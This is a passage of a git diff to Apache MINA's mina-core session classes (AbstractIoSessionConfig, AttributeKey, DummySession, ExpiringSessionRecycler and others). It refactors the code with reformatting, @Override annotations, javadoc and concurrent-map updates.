session.getLastIoTime(), - session.getLastIdleTime(IdleStatus.BOTH_IDLE))); - - notifyIdleSession0( - session, currentTime, - session.getConfig().getIdleTimeInMillis(IdleStatus.READER_IDLE), - IdleStatus.READER_IDLE, Math.max( - session.getLastReadTime(), - session.getLastIdleTime(IdleStatus.READER_IDLE))); - - notifyIdleSession0( - session, currentTime, - session.getConfig().getIdleTimeInMillis(IdleStatus.WRITER_IDLE), - IdleStatus.WRITER_IDLE, Math.max( - session.getLastWriteTime(), - session.getLastIdleTime(IdleStatus.WRITER_IDLE))); + notifyIdleSession0(session, currentTime, session.getConfig().getIdleTimeInMillis(IdleStatus.BOTH_IDLE), + IdleStatus.BOTH_IDLE, Math.max(session.getLastIoTime(), session.getLastIdleTime(IdleStatus.BOTH_IDLE))); + + notifyIdleSession0(session, currentTime, session.getConfig().getIdleTimeInMillis(IdleStatus.READER_IDLE), + IdleStatus.READER_IDLE, + Math.max(session.getLastReadTime(), session.getLastIdleTime(IdleStatus.READER_IDLE))); + + notifyIdleSession0(session, currentTime, session.getConfig().getIdleTimeInMillis(IdleStatus.WRITER_IDLE), + IdleStatus.WRITER_IDLE, + Math.max(session.getLastWriteTime(), session.getLastIdleTime(IdleStatus.WRITER_IDLE))); notifyWriteTimeout(session, currentTime); } - private static void notifyIdleSession0( - IoSession session, long currentTime, - long idleTime, IdleStatus status, long lastIoTime) { - if (idleTime > 0 && lastIoTime != 0 - && currentTime - lastIoTime >= idleTime) { + private static void notifyIdleSession0(IoSession session, long currentTime, long idleTime, IdleStatus status, + long lastIoTime) { + if ((idleTime > 0) && (lastIoTime != 0) && (currentTime - lastIoTime >= idleTime)) { session.getFilterChain().fireSessionIdle(status); } } - private static void notifyWriteTimeout( - IoSession session, long currentTime) { + private static void notifyWriteTimeout(IoSession session, long currentTime) { long writeTimeout = session.getConfig().getWriteTimeoutInMillis(); - if (writeTimeout > 0 && - currentTime - session.getLastWriteTime() >= writeTimeout && - !session.getWriteRequestQueue().isEmpty(session)) { + if ((writeTimeout > 0) && (currentTime - session.getLastWriteTime() >= writeTimeout) + && !session.getWriteRequestQueue().isEmpty(session)) { WriteRequest request = session.getCurrentWriteRequest(); if (request != null) { session.setCurrentWriteRequest(null); @@ -1271,71 +1428,8 @@ private static void notifyWriteTimeout( request.getFuture().setException(cause); session.getFilterChain().fireExceptionCaught(cause); // WriteException is an IOException, so we close the session. - session.close(true); + session.closeNow(); } } } - - - - /** - * A queue which handles the CLOSE request. - * - * TODO : Check that when closing a session, all the pending - * requests are correctly sent. - */ - private class CloseAwareWriteQueue implements WriteRequestQueue { - - private final WriteRequestQueue queue; - - /** - * {@inheritDoc} - */ - public CloseAwareWriteQueue(WriteRequestQueue queue) { - this.queue = queue; - } - - /** - * {@inheritDoc} - */ - public synchronized WriteRequest poll(IoSession session) { - WriteRequest answer = queue.poll(session); - - if (answer == CLOSE_REQUEST) { - AbstractIoSession.this.close(); - dispose(session); - answer = null; - } - - return answer; - } - - /** - * {@inheritDoc} - */ - public void offer(IoSession session, WriteRequest e) { - queue.offer(session, e); - } - - /** - * {@inheritDoc} - */ - public boolean isEmpty(IoSession session) { - return queue.isEmpty(session); - } - - /** - * {@inheritDoc} - */ - public void clear(IoSession session) { - queue.clear(session); - } - - /** - * {@inheritDoc} - */ - public void dispose(IoSession session) { - queue.dispose(session); - } - } } diff --git a/mina-core/src/main/java/org/apache/mina/core/session/AbstractIoSessionConfig.java b/mina-core/src/main/java/org/apache/mina/core/session/AbstractIoSessionConfig.java index e7336472b3..74ab95d285 100644 --- a/mina-core/src/main/java/org/apache/mina/core/session/AbstractIoSessionConfig.java +++ b/mina-core/src/main/java/org/apache/mina/core/session/AbstractIoSessionConfig.java @@ -19,23 +19,39 @@ */ package org.apache.mina.core.session; - - /** * A base implementation of {@link IoSessionConfig}. * * @author Apache MINA Project */ public abstract class AbstractIoSessionConfig implements IoSessionConfig { - + /** The minimum size of the buffer used to read incoming data */ private int minReadBufferSize = 64; + + /** The default size of the buffer used to read incoming data */ private int readBufferSize = 2048; + + /** The maximum size of the buffer used to read incoming data */ private int maxReadBufferSize = 65536; + + /** The delay before we notify a session that it has been idle on read. Default to infinite */ private int idleTimeForRead; + + /** The delay before we notify a session that it has been idle on write. Default to infinite */ private int idleTimeForWrite; + + /** + * The delay before we notify a session that it has been idle on read and write. + * Default to infinite + **/ private int idleTimeForBoth; + + /** The delay to wait for a write operation to complete before bailing out */ private int writeTimeout = 60; + + /** A flag set to true when weallow the application to do a session.read(). Default to false */ private boolean useReadOperation; + private int throughputCalculationInterval = 3; protected AbstractIoSessionConfig() { @@ -45,33 +61,27 @@ protected AbstractIoSessionConfig() { /** * {@inheritDoc} */ - public final void setAll(IoSessionConfig config) { + @Override + public void setAll(IoSessionConfig config) { if (config == null) { throw new IllegalArgumentException("config"); } setReadBufferSize(config.getReadBufferSize()); - setMinReadBufferSize(config.getMinReadBufferSize()); setMaxReadBufferSize(config.getMaxReadBufferSize()); + setMinReadBufferSize(config.getMinReadBufferSize()); setIdleTime(IdleStatus.BOTH_IDLE, config.getIdleTime(IdleStatus.BOTH_IDLE)); setIdleTime(IdleStatus.READER_IDLE, config.getIdleTime(IdleStatus.READER_IDLE)); setIdleTime(IdleStatus.WRITER_IDLE, config.getIdleTime(IdleStatus.WRITER_IDLE)); setWriteTimeout(config.getWriteTimeout()); setUseReadOperation(config.isUseReadOperation()); setThroughputCalculationInterval(config.getThroughputCalculationInterval()); - - doSetAll(config); } - /** - * Implement this method to set all transport-specific configuration - * properties retrieved from the specified config. - */ - protected abstract void doSetAll(IoSessionConfig config); - /** * {@inheritDoc} */ + @Override public int getReadBufferSize() { return readBufferSize; } @@ -79,6 +89,7 @@ public int getReadBufferSize() { /** * {@inheritDoc} */ + @Override public void setReadBufferSize(int readBufferSize) { if (readBufferSize <= 0) { throw new IllegalArgumentException("readBufferSize: " + readBufferSize + " (expected: 1+)"); @@ -89,6 +100,7 @@ public void setReadBufferSize(int readBufferSize) { /** * {@inheritDoc} */ + @Override public int getMinReadBufferSize() { return minReadBufferSize; } @@ -96,12 +108,14 @@ public int getMinReadBufferSize() { /** * {@inheritDoc} */ + @Override public void setMinReadBufferSize(int minReadBufferSize) { if (minReadBufferSize <= 0) { throw new IllegalArgumentException("minReadBufferSize: " + minReadBufferSize + " (expected: 1+)"); } - if (minReadBufferSize > maxReadBufferSize ) { - throw new IllegalArgumentException("minReadBufferSize: " + minReadBufferSize + " (expected: smaller than " + maxReadBufferSize + ')'); + if (minReadBufferSize > maxReadBufferSize) { + throw new IllegalArgumentException("minReadBufferSize: " + minReadBufferSize + " (expected: smaller than " + + maxReadBufferSize + ')'); } this.minReadBufferSize = minReadBufferSize; @@ -110,6 +124,7 @@ public void setMinReadBufferSize(int minReadBufferSize) { /** * {@inheritDoc} */ + @Override public int getMaxReadBufferSize() { return maxReadBufferSize; } @@ -117,13 +132,15 @@ public int getMaxReadBufferSize() { /** * {@inheritDoc} */ + @Override public void setMaxReadBufferSize(int maxReadBufferSize) { if (maxReadBufferSize <= 0) { throw new IllegalArgumentException("maxReadBufferSize: " + maxReadBufferSize + " (expected: 1+)"); } if (maxReadBufferSize < minReadBufferSize) { - throw new IllegalArgumentException("maxReadBufferSize: " + maxReadBufferSize + " (expected: greater than " + minReadBufferSize + ')'); + throw new IllegalArgumentException("maxReadBufferSize: " + maxReadBufferSize + " (expected: greater than " + + minReadBufferSize + ')'); } this.maxReadBufferSize = maxReadBufferSize; @@ -132,6 +149,7 @@ public void setMaxReadBufferSize(int maxReadBufferSize) { /** * {@inheritDoc} */ + @Override public int getIdleTime(IdleStatus status) { if (status == IdleStatus.BOTH_IDLE) { return idleTimeForBoth; @@ -151,6 +169,7 @@ public int getIdleTime(IdleStatus status) { /** * {@inheritDoc} */ + @Override public long getIdleTimeInMillis(IdleStatus status) { return getIdleTime(status) * 1000L; } @@ -158,6 +177,7 @@ public long getIdleTimeInMillis(IdleStatus status) { /** * {@inheritDoc} */ + @Override public void setIdleTime(IdleStatus status, int idleTime) { if (idleTime < 0) { throw new IllegalArgumentException("Illegal idle time: " + idleTime); @@ -173,10 +193,11 @@ public void setIdleTime(IdleStatus status, int idleTime) { throw new IllegalArgumentException("Unknown idle status: " + status); } } - + /** * {@inheritDoc} */ + @Override public final int getBothIdleTime() { return getIdleTime(IdleStatus.BOTH_IDLE); } @@ -184,6 +205,7 @@ public final int getBothIdleTime() { /** * {@inheritDoc} */ + @Override public final long getBothIdleTimeInMillis() { return getIdleTimeInMillis(IdleStatus.BOTH_IDLE); } @@ -191,6 +213,7 @@ public final long getBothIdleTimeInMillis() { /** * {@inheritDoc} */ + @Override public final int getReaderIdleTime() { return getIdleTime(IdleStatus.READER_IDLE); } @@ -198,6 +221,7 @@ public final int getReaderIdleTime() { /** * {@inheritDoc} */ + @Override public final long getReaderIdleTimeInMillis() { return getIdleTimeInMillis(IdleStatus.READER_IDLE); } @@ -205,6 +229,7 @@ public final long getReaderIdleTimeInMillis() { /** * {@inheritDoc} */ + @Override public final int getWriterIdleTime() { return getIdleTime(IdleStatus.WRITER_IDLE); } @@ -212,13 +237,15 @@ public final int getWriterIdleTime() { /** * {@inheritDoc} */ + @Override public final long getWriterIdleTimeInMillis() { return getIdleTimeInMillis(IdleStatus.WRITER_IDLE); } - + /** * {@inheritDoc} */ + @Override public void setBothIdleTime(int idleTime) { setIdleTime(IdleStatus.BOTH_IDLE, idleTime); } @@ -226,6 +253,7 @@ public void setBothIdleTime(int idleTime) { /** * {@inheritDoc} */ + @Override public void setReaderIdleTime(int idleTime) { setIdleTime(IdleStatus.READER_IDLE, idleTime); } @@ -233,6 +261,7 @@ public void setReaderIdleTime(int idleTime) { /** * {@inheritDoc} */ + @Override public void setWriterIdleTime(int idleTime) { setIdleTime(IdleStatus.WRITER_IDLE, idleTime); } @@ -240,6 +269,7 @@ public void setWriterIdleTime(int idleTime) { /** * {@inheritDoc} */ + @Override public int getWriteTimeout() { return writeTimeout; } @@ -247,6 +277,7 @@ public int getWriteTimeout() { /** * {@inheritDoc} */ + @Override public long getWriteTimeoutInMillis() { return writeTimeout * 1000L; } @@ -254,10 +285,10 @@ public long getWriteTimeoutInMillis() { /** * {@inheritDoc} */ + @Override public void setWriteTimeout(int writeTimeout) { if (writeTimeout < 0) { - throw new IllegalArgumentException("Illegal write timeout: " - + writeTimeout); + throw new IllegalArgumentException("Illegal write timeout: " + writeTimeout); } this.writeTimeout = writeTimeout; } @@ -265,6 +296,7 @@ public void setWriteTimeout(int writeTimeout) { /** * {@inheritDoc} */ + @Override public boolean isUseReadOperation() { return useReadOperation; } @@ -272,6 +304,7 @@ public boolean isUseReadOperation() { /** * {@inheritDoc} */ + @Override public void setUseReadOperation(boolean useReadOperation) { this.useReadOperation = useReadOperation; } @@ -279,6 +312,7 @@ public void setUseReadOperation(boolean useReadOperation) { /** * {@inheritDoc} */ + @Override public int getThroughputCalculationInterval() { return throughputCalculationInterval; } @@ -286,18 +320,19 @@ public int getThroughputCalculationInterval() { /** * {@inheritDoc} */ + @Override public void setThroughputCalculationInterval(int throughputCalculationInterval) { if (throughputCalculationInterval < 0) { - throw new IllegalArgumentException( - "throughputCalculationInterval: " + throughputCalculationInterval); + throw new IllegalArgumentException("throughputCalculationInterval: " + throughputCalculationInterval); } this.throughputCalculationInterval = throughputCalculationInterval; } - + /** * {@inheritDoc} */ + @Override public long getThroughputCalculationIntervalInMillis() { return throughputCalculationInterval * 1000L; } diff --git a/mina-core/src/main/java/org/apache/mina/core/session/AttributeKey.java b/mina-core/src/main/java/org/apache/mina/core/session/AttributeKey.java index 8cd4118a44..09866bed72 100644 --- a/mina-core/src/main/java/org/apache/mina/core/session/AttributeKey.java +++ b/mina-core/src/main/java/org/apache/mina/core/session/AttributeKey.java @@ -20,36 +20,76 @@ package org.apache.mina.core.session; import java.io.Serializable; -import java.util.Map; /** - * A key that makes its parent {@link Map} or session attribute to search - * fast while being debug-friendly by providing the string representation. - * + * Creates a Key from a class name and an attribute name. The resulting Key will + * be stored in the session Map.
+ * For instance, we can create a 'processor' AttributeKey this way : + * + *
+ * private static final AttributeKey PROCESSOR = new AttributeKey(
+ *     SimpleIoProcessorPool.class, "processor");
+ * 
+ * + * This will create the SimpleIoProcessorPool.processor@7DE45C99 key + * which will be stored in the session map.
+ * Such an attributeKey is mainly useful for debug purposes. + * * @author Apache MINA Project */ public final class AttributeKey implements Serializable { /** The serial version UID */ private static final long serialVersionUID = -583377473376683096L; - + /** The attribute's name */ private final String name; /** * Creates a new instance. It's built from : - * - the class' name - * - the attribute's name - * - this attribute hashCode + *
    + *
  • the class' name
  • + *
  • the attribute's name
  • + *
  • this attribute hashCode
  • + *
+ * + * @param source The class this AttributeKey will be attached to + * @param name The Attribute name */ public AttributeKey(Class source, String name) { this.name = source.getName() + '.' + name + '@' + Integer.toHexString(this.hashCode()); } /** - * The String representation of tis objection is its constructed name. + * The String representation of this object. */ @Override public String toString() { return name; } + + /** + * {@inheritDoc} + */ + @Override + public int hashCode() { + return 17 * 37 + ((name == null) ? 0 : name.hashCode()); + } + + /** + * {@inheritDoc} + */ + @Override + public boolean equals(Object obj) { + if (this == obj) { + return true; + } + + if (!(obj instanceof AttributeKey)) { + return false; + } + + AttributeKey other = (AttributeKey) obj; + + return name.equals(other.name); + } } diff --git a/mina-core/src/main/java/org/apache/mina/core/session/DefaultIoSessionDataStructureFactory.java b/mina-core/src/main/java/org/apache/mina/core/session/DefaultIoSessionDataStructureFactory.java index f2c64929ad..5c0b1c7f76 100644 --- a/mina-core/src/main/java/org/apache/mina/core/session/DefaultIoSessionDataStructureFactory.java +++ b/mina-core/src/main/java/org/apache/mina/core/session/DefaultIoSessionDataStructureFactory.java @@ -21,7 +21,6 @@ import java.util.HashMap; import java.util.HashSet; -import java.util.Map; import java.util.Queue; import java.util.Set; import java.util.concurrent.ConcurrentHashMap; @@ -38,22 +37,25 @@ * * @author Apache MINA Project */ -public class DefaultIoSessionDataStructureFactory implements - IoSessionDataStructureFactory { - - public IoSessionAttributeMap getAttributeMap(IoSession session) - throws Exception { +public class DefaultIoSessionDataStructureFactory implements IoSessionDataStructureFactory { + /** + * {@inheritDoc} + */ + @Override + public IoSessionAttributeMap getAttributeMap(IoSession session) throws Exception { return new DefaultIoSessionAttributeMap(); } - - public WriteRequestQueue getWriteRequestQueue(IoSession session) - throws Exception { + + /** + * {@inheritDoc} + */ + @Override + public WriteRequestQueue getWriteRequestQueue(IoSession session) throws Exception { return new DefaultWriteRequestQueue(); } private static class DefaultIoSessionAttributeMap implements IoSessionAttributeMap { - private final Map attributes = - new ConcurrentHashMap(4); + private final ConcurrentHashMap attributes = new ConcurrentHashMap<>(4); /** * Default constructor @@ -61,20 +63,33 @@ private static class DefaultIoSessionAttributeMap implements IoSessionAttributeM public DefaultIoSessionAttributeMap() { super(); } - + + /** + * {@inheritDoc} + */ + @Override public Object getAttribute(IoSession session, Object key, Object defaultValue) { if (key == null) { throw new IllegalArgumentException("key"); } - Object answer = attributes.get(key); - if (answer == null) { + if (defaultValue == null) { + return attributes.get(key); + } + + Object object = attributes.putIfAbsent(key, defaultValue); + + if (object == null) { return defaultValue; + } else { + return object; } - - return answer; } + /** + * {@inheritDoc} + */ + @Override public Object setAttribute(IoSession session, Object key, Object value) { if (key == null) { throw new IllegalArgumentException("key"); @@ -83,10 +98,14 @@ public Object setAttribute(IoSession session, Object key, Object value) { if (value == null) { return attributes.remove(key); } - + return attributes.put(key, value); } + /** + * {@inheritDoc} + */ + @Override public Object setAttributeIfAbsent(IoSession session, Object key, Object value) { if (key == null) { throw new IllegalArgumentException("key"); @@ -96,16 +115,13 @@ public Object setAttributeIfAbsent(IoSession session, Object key, Object value) return null; } - Object oldValue; - synchronized (attributes) { - oldValue = attributes.get(key); - if (oldValue == null) { - attributes.put(key, value); - } - } - return oldValue; + return attributes.putIfAbsent(key, value); } + /** + * {@inheritDoc} + */ + @Override public Object removeAttribute(IoSession session, Object key) { if (key == null) { throw new IllegalArgumentException("key"); @@ -114,6 +130,10 @@ public Object removeAttribute(IoSession session, Object key) { return attributes.remove(key); } + /** + * {@inheritDoc} + */ + @Override public boolean removeAttribute(IoSession session, Object key, Object value) { if (key == null) { throw new IllegalArgumentException("key"); @@ -123,68 +143,69 @@ public boolean removeAttribute(IoSession session, Object key, Object value) { return false; } - synchronized (attributes) { - if (value.equals(attributes.get(key))) { - attributes.remove(key); - return true; - } + try { + return attributes.remove(key, value); + } catch (NullPointerException e) { + return false; } - - return false; } + /** + * {@inheritDoc} + */ + @Override public boolean replaceAttribute(IoSession session, Object key, Object oldValue, Object newValue) { - synchronized (attributes) { - Object actualOldValue = attributes.get(key); - if (actualOldValue == null) { - return false; - } - - if (actualOldValue.equals(oldValue)) { - attributes.put(key, newValue); - return true; - } - - return false; + try { + return attributes.replace(key, oldValue, newValue); + } catch (NullPointerException e) { } + + return false; } + /** + * {@inheritDoc} + */ + @Override public boolean containsAttribute(IoSession session, Object key) { return attributes.containsKey(key); } + /** + * {@inheritDoc} + */ + @Override public Set getAttributeKeys(IoSession session) { synchronized (attributes) { - return new HashSet(attributes.keySet()); + return new HashSet<>(attributes.keySet()); } } + /** + * {@inheritDoc} + */ + @Override public void dispose(IoSession session) throws Exception { // Do nothing } } - + private static class DefaultWriteRequestQueue implements WriteRequestQueue { /** A queue to store incoming write requests */ - private final Queue q = new ConcurrentLinkedQueue(); + private final Queue q = new ConcurrentLinkedQueue<>(); - /** - * Default constructor - */ - public DefaultWriteRequestQueue() { - super(); - } - /** * {@inheritDoc} */ + @Override public void dispose(IoSession session) { // Do nothing } - + /** * {@inheritDoc} */ + @Override public void clear(IoSession session) { q.clear(); } @@ -192,27 +213,49 @@ public void clear(IoSession session) { /** * {@inheritDoc} */ - public synchronized boolean isEmpty(IoSession session) { + @Override + public boolean isEmpty(IoSession session) { return q.isEmpty(); } /** * {@inheritDoc} */ - public synchronized void offer(IoSession session, WriteRequest writeRequest) { + @Override + public void offer(IoSession session, WriteRequest writeRequest) { q.offer(writeRequest); } /** * {@inheritDoc} */ - public synchronized WriteRequest poll(IoSession session) { - return q.poll(); + @Override + public WriteRequest poll(IoSession session) { + WriteRequest answer = q.poll(); + + if (answer == AbstractIoSession.CLOSE_REQUEST) { + session.closeNow(); + dispose(session); + answer = null; + } + + return answer; } - + + /** + * {@inheritDoc} + */ @Override public String toString() { return q.toString(); } + + /** + * {@inheritDoc} + */ + @Override + public int size() { + return q.size(); + } } } diff --git a/mina-core/src/main/java/org/apache/mina/core/session/DummySession.java b/mina-core/src/main/java/org/apache/mina/core/session/DummySession.java index ea7f817af1..1da93370c4 100644 --- a/mina-core/src/main/java/org/apache/mina/core/session/DummySession.java +++ b/mina-core/src/main/java/org/apache/mina/core/session/DummySession.java @@ -31,21 +31,21 @@ import org.apache.mina.core.filterchain.IoFilterChain; import org.apache.mina.core.service.AbstractIoAcceptor; import org.apache.mina.core.service.DefaultTransportMetadata; -import org.apache.mina.core.service.IoAcceptor; import org.apache.mina.core.service.IoHandler; import org.apache.mina.core.service.IoHandlerAdapter; import org.apache.mina.core.service.IoProcessor; import org.apache.mina.core.service.IoService; import org.apache.mina.core.service.TransportMetadata; import org.apache.mina.core.write.WriteRequest; +import org.apache.mina.core.write.WriteRequestQueue; /** * A dummy {@link IoSession} for unit-testing or non-network-use of * the classes that depends on {@link IoSession}. * *

Overriding I/O request methods

- * All I/O request methods (i.e. {@link #close()}, {@link #write(Object)} and - * {@link #setTrafficMask(TrafficMask)}) are final and therefore cannot be + * All I/O request methods (i.e. {@link #close()}, {@link #write(Object)} + * are final and therefore cannot be * overridden, but you can always add your custom {@link IoFilter} to the * {@link IoFilterChain} to intercept any I/O events and requests. * @@ -53,10 +53,8 @@ */ public class DummySession extends AbstractIoSession { - private static final TransportMetadata TRANSPORT_METADATA = - new DefaultTransportMetadata( - "mina", "dummy", false, false, - SocketAddress.class, IoSessionConfig.class, Object.class); + private static final TransportMetadata TRANSPORT_METADATA = new DefaultTransportMetadata("mina", "dummy", false, + false, SocketAddress.class, IoSessionConfig.class, Object.class); private static final SocketAddress ANONYMOUS_ADDRESS = new SocketAddress() { private static final long serialVersionUID = -496112902353454179L; @@ -70,75 +68,100 @@ public String toString() { private volatile IoService service; private volatile IoSessionConfig config = new AbstractIoSessionConfig() { - @Override - protected void doSetAll(IoSessionConfig config) { - // Do nothing - } }; private final IoFilterChain filterChain = new DefaultIoFilterChain(this); - private final IoProcessor processor; + + private final IoProcessor processor; private volatile IoHandler handler = new IoHandlerAdapter(); + private volatile SocketAddress localAddress = ANONYMOUS_ADDRESS; + private volatile SocketAddress remoteAddress = ANONYMOUS_ADDRESS; + private volatile TransportMetadata transportMetadata = TRANSPORT_METADATA; /** * Creates a new instance. */ public DummySession() { + super( + // Initialize dummy service. - IoAcceptor acceptor = new AbstractIoAcceptor( - new AbstractIoSessionConfig() { + new AbstractIoAcceptor(new AbstractIoSessionConfig() { + }, new Executor() { @Override - protected void doSetAll(IoSessionConfig config) { - // Do nothing - } - }, - new Executor() { public void execute(Runnable command) { // Do nothing } }) { + /** + * {@inheritDoc} + */ + @Override + protected Set bindInternal(List localAddresses) + throws Exception { + throw new UnsupportedOperationException(); + } - @Override - protected Set bindInternal(List localAddresses) throws Exception { - throw new UnsupportedOperationException(); - } + /** + * {@inheritDoc} + */ + @Override + protected void unbind0(List localAddresses) throws Exception { + throw new UnsupportedOperationException(); + } - @Override - protected void unbind0(List localAddresses) throws Exception { - throw new UnsupportedOperationException(); - } + /** + * {@inheritDoc} + */ + @Override + public IoSession newSession(SocketAddress remoteAddress, SocketAddress localAddress) { + throw new UnsupportedOperationException(); + } - public IoSession newSession(SocketAddress remoteAddress, SocketAddress localAddress) { - throw new UnsupportedOperationException(); - } + /** + * {@inheritDoc} + */ + @Override + public TransportMetadata getTransportMetadata() { + return TRANSPORT_METADATA; + } - public TransportMetadata getTransportMetadata() { - return TRANSPORT_METADATA; - } + /** + * {@inheritDoc} + */ + @Override + protected void dispose0() throws Exception { + } + + /** + * {@inheritDoc} + */ + @Override + public IoSessionConfig getSessionConfig() { + return sessionConfig; + } + }); + processor = new IoProcessor() { + /** + * {@inheritDoc} + */ @Override - protected void dispose0() throws Exception { - } - }; - - // Set meaningless default values. - acceptor.setHandler(new IoHandlerAdapter()); - - service = acceptor; - - processor = new IoProcessor() { - public void add(AbstractIoSession session) { + public void add(IoSession session) { // Do nothing } - public void flush(AbstractIoSession session) { + /** + * {@inheritDoc} + */ + @Override + public void flush(IoSession session) { DummySession s = (DummySession) session; WriteRequest req = s.getWriteRequestQueue().poll(session); - + // Chek that the request is not null. If the session has been closed, // we may not have any pending requests. if (req != null) { @@ -156,45 +179,87 @@ public void flush(AbstractIoSession session) { } } - public void remove(AbstractIoSession session) { + /** + * {@inheritDoc} + */ + @Override + public void write(IoSession session, WriteRequest writeRequest) { + WriteRequestQueue writeRequestQueue = session.getWriteRequestQueue(); + + writeRequestQueue.offer(session, writeRequest); + + if (!session.isWriteSuspended()) { + this.flush(session); + } + } + + /** + * {@inheritDoc} + */ + @Override + public void remove(IoSession session) { if (!session.getCloseFuture().isClosed()) { session.getFilterChain().fireSessionClosed(); } } - public void updateTrafficControl(AbstractIoSession session) { + /** + * {@inheritDoc} + */ + @Override + public void updateTrafficControl(IoSession session) { // Do nothing } + /** + * {@inheritDoc} + */ + @Override public void dispose() { // Do nothing } + /** + * {@inheritDoc} + */ + @Override public boolean isDisposed() { return false; } + /** + * {@inheritDoc} + */ + @Override public boolean isDisposing() { return false; } }; + this.service = super.getService(); + try { IoSessionDataStructureFactory factory = new DefaultIoSessionDataStructureFactory(); setAttributeMap(factory.getAttributeMap(this)); setWriteRequestQueue(factory.getWriteRequestQueue(this)); } catch (Exception e) { - throw new InternalError(); + throw new IllegalStateException(); } } + /** + * {@inheritDoc} + */ + @Override public IoSessionConfig getConfig() { return config; } /** * Sets the configuration of this session. + * + * @param config the {@link IoSessionConfig} to set */ public void setConfig(IoSessionConfig config) { if (config == null) { @@ -204,16 +269,26 @@ public void setConfig(IoSessionConfig config) { this.config = config; } + /** + * {@inheritDoc} + */ + @Override public IoFilterChain getFilterChain() { return filterChain; } + /** + * {@inheritDoc} + */ + @Override public IoHandler getHandler() { return handler; } /** * Sets the {@link IoHandler} which handles this session. + * + * @param handler the {@link IoHandler} to set */ public void setHandler(IoHandler handler) { if (handler == null) { @@ -223,10 +298,18 @@ public void setHandler(IoHandler handler) { this.handler = handler; } + /** + * {@inheritDoc} + */ + @Override public SocketAddress getLocalAddress() { return localAddress; } + /** + * {@inheritDoc} + */ + @Override public SocketAddress getRemoteAddress() { return remoteAddress; } @@ -234,6 +317,8 @@ public SocketAddress getRemoteAddress() { /** * Sets the socket address of local machine which is associated with * this session. + * + * @param localAddress The socket address to set */ public void setLocalAddress(SocketAddress localAddress) { if (localAddress == null) { @@ -245,6 +330,8 @@ public void setLocalAddress(SocketAddress localAddress) { /** * Sets the socket address of remote peer. + * + * @param remoteAddress The socket address to set */ public void setRemoteAddress(SocketAddress remoteAddress) { if (remoteAddress == null) { @@ -254,12 +341,18 @@ public void setRemoteAddress(SocketAddress remoteAddress) { this.remoteAddress = remoteAddress; } + /** + * {@inheritDoc} + */ + @Override public IoService getService() { return service; } /** * Sets the {@link IoService} which provides I/O service to this session. + * + * @param service The {@link IoService} to set */ public void setService(IoService service) { if (service == null) { @@ -269,17 +362,26 @@ public void setService(IoService service) { this.service = service; } + /** + * {@inheritDoc} + */ @Override - public final IoProcessor getProcessor() { + public final IoProcessor getProcessor() { return processor; } + /** + * {@inheritDoc} + */ + @Override public TransportMetadata getTransportMetadata() { return transportMetadata; } /** * Sets the {@link TransportMetadata} that this session runs on. + * + * @param transportMetadata The {@link TransportMetadata} to set */ public void setTransportMetadata(TransportMetadata transportMetadata) { if (transportMetadata == null) { @@ -289,11 +391,17 @@ public void setTransportMetadata(TransportMetadata transportMetadata) { this.transportMetadata = transportMetadata; } + /** + * {@inheritDoc} + */ @Override - public void setScheduledWriteBytes(int byteCount){ + public void setScheduledWriteBytes(int byteCount) { super.setScheduledWriteBytes(byteCount); } + /** + * {@inheritDoc} + */ @Override public void setScheduledWriteMessages(int messages) { super.setScheduledWriteMessages(messages); @@ -304,8 +412,10 @@ public void setScheduledWriteMessages(int messages) { * this method returns silently without updating the throughput properties * if they were calculated already within last * {@link IoSessionConfig#getThroughputCalculationInterval() calculation interval}. - * If, however, force is specified as true, this method + * If, however, force is specified as true, this method * updates the throughput properties immediately. + * + * @param force the flag that forces the update of properties immediately if true */ public void updateThroughput(boolean force) { super.updateThroughput(System.currentTimeMillis(), force); diff --git a/mina-core/src/main/java/org/apache/mina/core/session/ExpiringSessionRecycler.java b/mina-core/src/main/java/org/apache/mina/core/session/ExpiringSessionRecycler.java index ff155a6935..445fbc204c 100644 --- a/mina-core/src/main/java/org/apache/mina/core/session/ExpiringSessionRecycler.java +++ b/mina-core/src/main/java/org/apache/mina/core/session/ExpiringSessionRecycler.java @@ -19,9 +19,8 @@ */ package org.apache.mina.core.session; +import java.net.InetSocketAddress; import java.net.SocketAddress; -import java.util.ArrayList; -import java.util.List; import org.apache.mina.util.ExpirationListener; import org.apache.mina.util.ExpiringMap; @@ -29,87 +28,120 @@ /** * An {@link IoSessionRecycler} with sessions that time out on inactivity. * - * TODO Document me. - * * @author Apache MINA Project * @org.apache.xbean.XBean */ public class ExpiringSessionRecycler implements IoSessionRecycler { - private ExpiringMap sessionMap; + /** A map used to store the session */ + private ExpiringMap sessionMap; - private ExpiringMap.Expirer mapExpirer; + /** A map used to keep a track of the expiration */ + private ExpiringMap.Expirer mapExpirer; + /** + * Create a new ExpiringSessionRecycler instance + */ public ExpiringSessionRecycler() { this(ExpiringMap.DEFAULT_TIME_TO_LIVE); } + /** + * Create a new ExpiringSessionRecycler instance + * + * @param timeToLive The delay after which the session is going to be recycled + */ public ExpiringSessionRecycler(int timeToLive) { this(timeToLive, ExpiringMap.DEFAULT_EXPIRATION_INTERVAL); } + /** + * Create a new ExpiringSessionRecycler instance + * + * @param timeToLive The delay after which the session is going to be recycled + * @param expirationInterval The delay after which the expiration occurs + */ public ExpiringSessionRecycler(int timeToLive, int expirationInterval) { - sessionMap = new ExpiringMap(timeToLive, - expirationInterval); + sessionMap = new ExpiringMap<>(timeToLive, expirationInterval); mapExpirer = sessionMap.getExpirer(); sessionMap.addExpirationListener(new DefaultExpirationListener()); } + /** + * {@inheritDoc} + */ + @Override public void put(IoSession session) { mapExpirer.startExpiringIfNotStarted(); - Object key = generateKey(session); + String key = session.getRemoteAddress() + ":" + ((InetSocketAddress)session.getLocalAddress()).getPort(); + + if (!sessionMap.containsKey(key)) { sessionMap.put(key, session); } } - public IoSession recycle(SocketAddress localAddress, - SocketAddress remoteAddress) { - return sessionMap.get(generateKey(localAddress, remoteAddress)); + /** + * {@inheritDoc} + */ + @Override + public IoSession recycle(SocketAddress remoteAddress, int port) { + String key = remoteAddress + ":" + port; + return sessionMap.get(key); } + /** + * {@inheritDoc} + */ + @Override public void remove(IoSession session) { - sessionMap.remove(generateKey(session)); + sessionMap.remove(session.getRemoteAddress() + ":" + ((InetSocketAddress)session.getLocalAddress()).getPort()); } + /** + * Stop the thread from monitoring the map + */ public void stopExpiring() { mapExpirer.stopExpiring(); } + /** + * @return The session expiration time in second + */ public int getExpirationInterval() { return sessionMap.getExpirationInterval(); } + /** + * @return The session time-to-live in second + */ public int getTimeToLive() { return sessionMap.getTimeToLive(); } + /** + * Set the interval in which a session will live in the map before it is removed. + * + * @param expirationInterval The session expiration time in seconds + */ public void setExpirationInterval(int expirationInterval) { sessionMap.setExpirationInterval(expirationInterval); } + 